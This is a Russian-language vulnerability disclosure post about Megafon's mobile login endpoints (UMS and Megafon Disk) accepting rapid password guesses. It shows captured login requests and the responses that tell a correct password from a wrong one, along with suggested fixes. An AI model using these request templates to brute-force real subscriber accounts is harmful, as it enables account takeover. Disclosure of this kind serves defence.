Не так давно, netAn опубликовал интересную статью описывающую проблемы безопасности системы Мегафон — Сервис-гид.
По прошествии времени, мы решили проверить, насколько Мегафон заботится о безопасности личных данных своих клиентов, и провели небольшое тестирование продуктов авторизации в «сервис-гид». Результат не увенчался успехом, Мегафон действительно исправил ошибку, в которую их тыкнуло хабро сообщество, но пойти дальше и проверить всю систему они почему-то не решились.
Не буду повторяться, что можно сделать со счетом абонента имея доступ в «сервис-гид» (см. статью) перейду сразу к сладкому.
Как показал анализ, в Мегафоне, существует внутренний гейт, с которым соединятся и messages.megafon.ru, moscowsg.megafon.ru и многие другие приложение для авторизации абонентов. Используя мобильные приложения «UMS» и «Мегафон Диск» можно подбирать пароли с высокой скоростью за счет отсутствия необходимости в проведении полной процедуры аутентификации.
Об этой проблеме было отправлено письмо в службу технической поддержки абонентов Мегафон несколько недель назад, но как не странно она не отреагировала на наше письмо. На момент 11 декабря нечего не исправлено.
Для анализа трафика мобильного приложения используем зло mitmproxy
А теперь подробнее о каждом.
«UMS»
Пример HTTP запроса и ответов при авторизации
Request:
POST https://auth.messages.megafon.ru:15020/tellin/login.do
Host: auth.messages.megafon.ru:15020
x-UserAgent: iPhone|iPhone0.0|iPhone OS 0.0.0|0.0.0.0|aVBob25lIDRT|aVBob25l
Accept-Encoding: gzip
Content-Type: text/xml;UTF-8
Accept-Language: zh-CN,en,*
Cookie: JSESSIONID=000000000000000000000000
Content-Length: 344
Connection: close
Proxy-Connection: close
User-Agent: UMS 0.0.0.0 (iPhone; iPhone OS 0.0.0; ru_RU)
XML-like data
<?xml version='1.0' encoding='UTF-8'?>
<root>
<user>+7926000000</user>
<random>HUAWEI RCS0000-00-00</random>
<secinfo>мойкрутойпароль</secinfo>
<version>0.0.0.0</version>
<clienttype>2010000</clienttype>
<pintype>0</pintype>
<requestip>653.289.953.846</requestip>
<usertype>0</usertype>
<deviceID>NvQPSFL3nclMuRJbc8KjjgIBn6CVg49mpzNZoJ4LK0n2OQDpcEENuly9FVK5</deviceID>
</root>
1) Успешная авторизация
Response:
Raw
[ base64 длинной 3680 байт ]
2) Ошибка авторизации
Response:
<root><return>200050401</return><desc>The user information is incorrect.</desc></root>
«MegaDisk»
Пример HTTP запроса и ответов при авторизации
Request:
POST https://oauth.megafon.ru/login?oauth_token=92cd604414ba74ff7a3e
Host: oauth.megafon.ru
Accept-Language: ru
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 0_0_0 like Mac OS X) AppleWebKit/0.0.0 (KHTML, like Gecko) Mobile/0B
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://oauth.megafon.ru/login
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Cookie: ID=IGmYDY6caHVXnsFELs55iR7wPyhSMvQHc
Content-Length: 141
Origin: https://oauth.megafon.ru
Accept-Encoding: gzip, deflate
URLEncoded form
version: 1
token: HkyOryj8L0nAsL7AMgd2JjqjaO
language: ru
validateform: QR3g4qMeSF0tPHT9COXCKD4guGeYdwHGFBgrPi1eHr
msisdn: 7926000000
p: мойкрутойпароль
login: LoginRU
1) Успешная авторизация
Response:
HTTP код 302
2) Ошибка авторизации
HTTP код не 302
Проблемы в этих приложениях две:
- Получая информацию об успешной верификации пары номера телефона и пароля мы не продолжаем дальнейшую авторизацию и тем самым не идет SMS информирование абонента об авторизации в UMS
- По умолчанию в UMS отключено SMS информирование при авторизации через мобильное устройство
Варианты решения:
- Использовать шифрование на первом этапе авторизации
- Показывать капчу
- Отправление SMS уведомление при попытки авторизации
- Использование буквенных паролей
Проверки осуществлял используя в качестве цели свой собственный номер телефона.
Автор: Constantinus